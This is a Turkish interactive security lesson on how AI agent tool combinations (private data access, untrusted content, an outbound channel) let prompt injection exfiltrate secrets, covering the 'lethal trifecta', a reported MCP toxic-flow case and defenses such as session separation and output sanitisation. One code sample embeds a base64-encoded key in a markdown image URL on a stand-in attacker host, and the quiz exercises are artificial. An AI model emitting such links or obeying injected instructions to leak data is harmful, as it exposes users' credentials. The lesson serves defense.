İçeriğe atla
0 XP 0
11 dkderinleşmeyle 12 dk56 XP5 etkinlik

Araç zinciri ve kombinasyon riski

Bu derste
  • Tek başına zararsız iki araç yan yana geldiğinde yeni bir kapı açar; bu derste okuma ile dış çıkış yetkisinin birleşmesini incelersin.
  • Gizli veri erişimi, güvenilmez içerik ve dışarı çıkış kanalının aynı oturumda buluşmasının neden saldırıyı tamamladığını göreceksin.
  • Sonunda bir araç setine bakıp hangi ikilinin tehlikeli olduğunu söyleyebileceksin.

Puan bütün etkinlikleri cevaplayınca hesaba yazılır. Bu dersi tamamlayınca +56 XP alacaksın. Giriş yapmadan ilerlersen puan yalnız bu tarayıcıda durur.

Araçları tek tek incelersen çoğu masum görünür. Dosya okuyan araç yalnız okur. Ağa istek atan araç yalnız istek atar.

Takvim aracı yalnız etkinlik listeler. Hiçbiri tek başına veri sızdırmaz.

Risk birleşimde doğar. Zincirin çalışması için üç halka yeter: içeri giren güvenilmez metin, erişilebilen gizli veri ve dışarı çıkan bir kanal. Bu üçü aynı oturumda varsa saldırı tamamdır; biri eksikse zincir kopar. Bu dersin amacı o üçlüyü bir araç setinde erkenden görmektir.

Tek araç masum, ikili zincir

Üç halkayı ayrı ayrı düşünmek riski küçük gösterir. Oysa kurumsal bir oturumda genelde üçü de bir aradadır: model bir web sayfasını okur, aynı oturumda gizli bir anahtara erişebilir ve dışarı istek atabilen bir araç da bağlıdır. Halkaları farklı ekipler kurmuş olsa bile bir araya geldiklerinde saldırıya dönüşür.

Her ekip kendi aracını güvenli sanır, çünkü tek başına test ettiğinde zararsız görünür. Riski gören kişi, tüm oturuma birlikte bakan kişidir.

Neden birleşim bu kadar tehlikeli? Çünkü her halka ayrı bir güven kararıyla eklenir. Okuma aracını veren ekip yalnız okuyor, zararsız der. Dış istek aracını veren ekip yalnız istek atıyor, zararsız der.

İçeri giren metni getiren ekip yalnız içerik, zararsız der. Üç karar da tek başına doğrudur. Yanlış olan, üçünün aynı oturumda yan yana durmasıdır.

Risk araçta değil, araçların toplamındadır. Bu yüzden tek araç denetimi yanıltır. Her aracı ayrı test eden bir ekip hepsini güvenli görür ve kurulumu onaylar. Oysa saldırı tek araçta değil, araçların buluşmasında yaşar.

Bir güvenlik incelemesi yaparken soruyu tersine çevir. Bu araç tek başına ne yapar diye değil, bu araç başka hangi araçla buluşunca tehlikeli olur diye sor. Zincir düşüncesi, parçayı değil bütünü görmeni ister.

Bu üçlünün bir adı var. Simon Willison 2025 Haziran ortasında ona ölümcül üçlü (lethal trifecta) dedi: özel veriye erişim, güvenilmez içeriğe maruz kalma ve dışarı iletişim kurabilme. Üçü bir arada olduğunda, istem enjeksiyonu veriyi dışarı taşıyabilir.

Willison saldırıları yakaladığını söyleyen koruma ürünlerine de güvenmez. Ona göre yüzde doksan beşlik bir yakalama oranı web uygulama güvenliğinde başarısız bir nottur, çünkü saldırgan kalan boşluğu arar. Önerdiği çözüm üçlüyü baştan dağıtmaktır: üç yetenekten en az birini oturumdan çıkar. Bu üçlüyü bir kez görünce birçok olay netleşir.

Adlandırılmış sızıntılar, zehirli ajan akışları ve posta yönlendirme saldırıları hep aynı iskelete oturur: içeri giren güvenilmez metin, erişilen gizli veri ve dışarı açılan bir kanal. Saldırının yüzü değişir, iskeleti değişmez. Bu yüzden tek bir çerçeveyle onlarca farklı olayı aynı anda düşünebilirsin. Çerçeve, ezberlenecek saldırı listesinden daha değerlidir.

Keşifİlk erişimKalıcılıkYayılmaSızdırma
Zehirli içerik modele girer, okuma aracı sırrı getirir, dışa açık araç sırrı taşır.

Etkinlik 1 / 5

Bir veri sızıntısı zincirinin tamamlanması için hangi halkalar gerekir?

Birden fazla doğru var.

Çıkış kanalı sandığından geniş

Çıkış kanalı sandığından geniştir. Açık kanal bellidir: eposta gönder, web isteği at, dosya yaz. Örtük kanal ise fark edilmez.

Bir bilet yorumu, bir takvim etkinliğinin açıklaması, bir birleştirme isteğinin başlığı ya da bir hata mesajı da dışarı kapı olur. Model bu alanlara sırrı yazar, sonra başka biri ya da başka bir sistem o alanı okur. Bu yüzden çıkış araması yalnız açık kanalları saymakla bitmez; metin bırakılabilen her alan aday kanaldır.

Örtük kanalı anlamak için şunu sor: bu metin sonunda başka birinin gözüne ya da başka bir sisteme ulaşıyor mu. Bir bilet yorumu destek ekibine gider. Bir takvim açıklaması davetlilere gider.

Bir birleştirme isteğinin başlığı depoyu izleyen herkese gider. Model sırrı bu alanlardan birine yazarsa, taşıma işini insan ya da otomasyon tamamlar. Bu yüzden çıkışı yalnız ağa istek atan araç diye düşünmek eksik kalır.

En sevilen örtük kanal görsel adresidir. Model cevabına bir görsel bağlantısı koyar ve sırrı adres parametresine gömer. Kullanıcının arayüzü görseli yüklemeye çalışır, istek saldırganın sunucusuna gider, sır oradaki günlüğe düşer. Kullanıcı ekranda yalnız kırık bir görsel görür.

Hiçbir araç çağrılmaz; işi istemcinin görüntüleyicisi yapar. Bu yüzden çıkış kanalı aramasını araç listesiyle sınırlamak yanıltır. Görsel adresi tek örnek değil. Aynı mantık bağlantı metnine, otomatik önizlemeye ve arka planda veri çeken her gömülü öğeye uyar.

Ortak nokta şudur: istemci, modelin ürettiği metni işlerken dışarı bir istek atar. Savunma bu yüzden çıktıyı kullanıcıya göstermeden önce temizlemektir. Cevaptaki bağlantıları ve gömülü öğeleri ayıkla, şüpheli adresleri işaretle ve izinsiz bir sunucuya giden isteği baştan engelle.

![rapor](https://log.saldirgan.example/p.png?d=QUtJQTQ2N0VYQU1QTEU=)

# d parametresi base64 kodlu erisim anahtaridir.
# Kullanici goruntuyu gormez, istek yine de gider.
Markdown görseli üzerinden sessiz kaçış. Hiçbir araç çağrılmaz, işi istemcinin görüntüleyicisi yapar.

Etkinlik 2 / 5

Adreste taşınan d parametresini çöz. Dışarı sızan değer nedir?

Araçları sırayla dene. Yanlış araç bozuk çıktı verir.

QUtJQTQ2N0VYQU1QTEU=

Çarpım tablosu yöntemi

Zincir düşüncesini araç setine uygulamak kolaydır. Her aracı iki etiketle işaretle: gizli veriye erişiyor mu, dışarı çıkış sağlıyor mu. Sonra çarpım tablosunu çıkar.

İki etiketin kesiştiği her hücre incelenmesi gereken bir risktir. Bu yöntem, sunucu sayısını değil oturumdaki toplam yetkiyi sayar. On sunucu bağlı olsa bile hiçbiri gizli veriye erişmiyorsa zincir kurulamaz. Tek bir sunucu bile hem okuma hem dış çıkış taşıyorsa, o tek sunucu başlı başına bir zincirdir.

Çarpım tablosu neden işe yarar? Çünkü gözünü araç adından çekip yetkiye diker. Bir araç ister saat_getir ister dosya_oku adını taşısın, önemli olan iki soruya verdiği cevaptır: gizli veriye dokunuyor mu, dışarı bir şey taşıyor mu. İki cevap da evetse, o araç tek başına bir risktir.

Tablo bu iki ekseni kesiştirir ve gözden kaçan ikilileri ortaya çıkarır. Adların masum görünümüne değil, yetkinin gerçeğine bakarsın.

Tabloyu kurumsal bir kurulumda düşün. Bir destek asistanı bilet sistemine, bilgi tabanına ve posta sunucusuna bağlı olsun.

Bilet okuma gizli veriye dokunur, posta gönderme dışarı çıkıştır. İkisi aynı oturumda açıksa, bir bilete gömülen zehirli bir not asistanı gizli bir bileti okuyup dışarı yollamaya itebilir. Tablo bu ikiliyi tek bakışta gösterir ve sana bir seçim sunar: ya ikisini ayır, ya da araya onay koy.

Etkinlik 3 / 5

Her aracı zincirdeki rolüne göre ayır.

Önce bir seçeneğe, sonra aşağıdaki uygun kutuya bas. İstersen seçeneği kutuya sürükleyip bırak. Yerini değiştirmek için aynı işlemi tekrarla.

0/6 seçenek yerleşti.

Tablonun tek sunucuda da işe yaradığını gerçek bir araştırma gösterdi. Invariant Labs, yaygın kullanılan bir kod deposu MCP sunucusunda zehirli ajan akışı adını verdiği bir zincir buldu. Herkese açık bir depoya açılan hata kaydı, kullanıcının ajanını özel depolardaki veriyi okuyup herkese açık depodaki bir birleştirme isteğine yazmaya yöneltti.

Sunucunun araçlarından hiçbiri ele geçirilmemişti. Aynı sunucu hem okuma hem dışa yazma yetkisi taşıyordu ve güvenilmez içerik de aynı oturuma giriyordu. Tabloda bu sunucu tek başına iki kovayı birden doldurur.

Zincir birkaç sunucuya da yayılabilir. Kod deposu sunucusu zehirli bir hata bildirimi getirir. Yerel dosya sunucusu ortam değişkenlerini okur.

Mesajlaşma sunucusu sonucu bir kanala yazar. Üç sunucunun sahibi farklıdır ve her biri kendi aracını güvenli sanır.

Kimse zincirin tamamını görmez; görebilecek tek kişi, oturumu bir bütün olarak inceleyen kişidir. Bu yüzden olgun kurumlar bu işi tek tek ekiplere değil, tüm kurulumu gözeten bir güvenlik ekibine bırakır. İki örnek aynı sonuca çıkar: risk incelemesinin birimi sunucu değil, oturumdur. Parçaya bakan güvenli der, bütüne bakan riski görür.

Etkinlik 4 / 5

Sızıntı zincirinin adımlarını doğru sıraya koy.

Parçalara tıklayarak komutu soldan sağa kur.

$

Oturum birimi ve savunma

İnceleme birimi oturumdur. Aynı oturumda bağlı tüm araçların toplamına bak, tek tek tanımlara değil.

Denetim listeni sunucu adına göre değil, o oturumda birlikte açık duran yetkilere göre çıkar. Böylece hangi kombinasyonun tehlikeli olduğunu daha kurulum aşamasında görürsün. Bu değerlendirmeyi yaparken soru hep aynıdır: bu oturumda giriş, erişim ve çıkış üçü birden açık mı. Oturum birimini kabul etmek denetimi değiştirir.

Artık bu sunucu güvenli mi diye sormazsın; bu oturumda hangi yetkiler bir arada diye sorarsın. Aynı sunucu iki farklı oturumda iki farklı risk taşıyabilir. Tek başına okuma sunucusu bir oturumda zararsızken, dış çıkış aracıyla aynı oturuma girdiğinde zincirin halkası olur. Bu yüzden denetim listesi sunucuların değil, oturumların listesidir.

Savunmada en ucuz hamle ayırmadır. Yüksek yetkili okuma araçlarıyla dışa açık araçları ayrı oturumlarda çalıştır. Kullanıcı ikisini birden istiyorsa arada açık onay koy ve onay ekranında argümanın tamamını göster.

İkinci hamle çıkışı daraltmaktır: dış adres çağıran araçlara izin listesi ver. Üçüncü hamle modelin ürettiği metinde adres temizliğidir: cevaptaki bağlantıları ve görselleri kullanıcıya göstermeden önce süz. Üç hamle de üçlüyü bozmaya çalışır.

Bu üç hamleyi bir öncelik sırasına koy. Önce ayırma gelir, çünkü en ucuzu ve en kesinidir: üçlüyü hiç bir araya getirmezsen saldırı kurulamaz. Sonra daraltma gelir: bir araya gelmek zorundaysa, dış çıkışı izinli adreslerle sınırla.

En son çıktı temizliği gelir: modelin ürettiği metinde gizli kaçış kanallarını ara. Üçü birlikte derinlemesine savunma kurar; biri atlanırsa diğeri tutar. Tek bir hamleye güvenmek, tek bir kapıya kilit asmaktır.

Derinleş:İkiden fazlası tehlikeli

Meta, 2025 Ekim sonunda ölümcül üçlüyü işletilebilir bir kurala çevirdi ve ona ajanlar için ikili kural (rule of two) dedi. Kural üç özelliği sayar. Birincisi ajanın güvenilmez girdiyi işleyebilmesi.

İkincisi ajanın hassas sistemlere ya da özel veriye erişebilmesi. Üçüncüsü ajanın durumu değiştirebilmesi ya da dışarı iletişim kurabilmesi. Kural şudur: bir oturumda bu üç özellikten en çok ikisi aynı anda açık olsun.

Üçü birden açıksa, istem enjeksiyonunun en ağır sonuçları mümkün hale gelir. Bu çerçeve, zincir düşüncesinin pratik halidir. Bir kurulumu incelerken üç özelliği işaretle; üçü birden doluysa, bir özelliği kapatacak ya da araya açık onay koyacak bir tasarım değişikliği ara. Kural, güvenliği modelin iyi niyetinden alıp mimariye taşır.

Etkinlik 5 / 5

Doğru mu, yanlış mı?

Okuma yetkisiyle sınırlı bir araç, aynı oturumda dışarı istek atabilen bir araçla buluşursa veri sızıntısı zincirinin erişim halkası olur.

Dersi bitirmek için 5 etkinlik kaldı

Okumayı istediğin sırayla sürdürebilirsin. Ders, bütün etkinlikleri cevapladığında tamamlanır.

Bu derste bir hata mı gördün? Bildir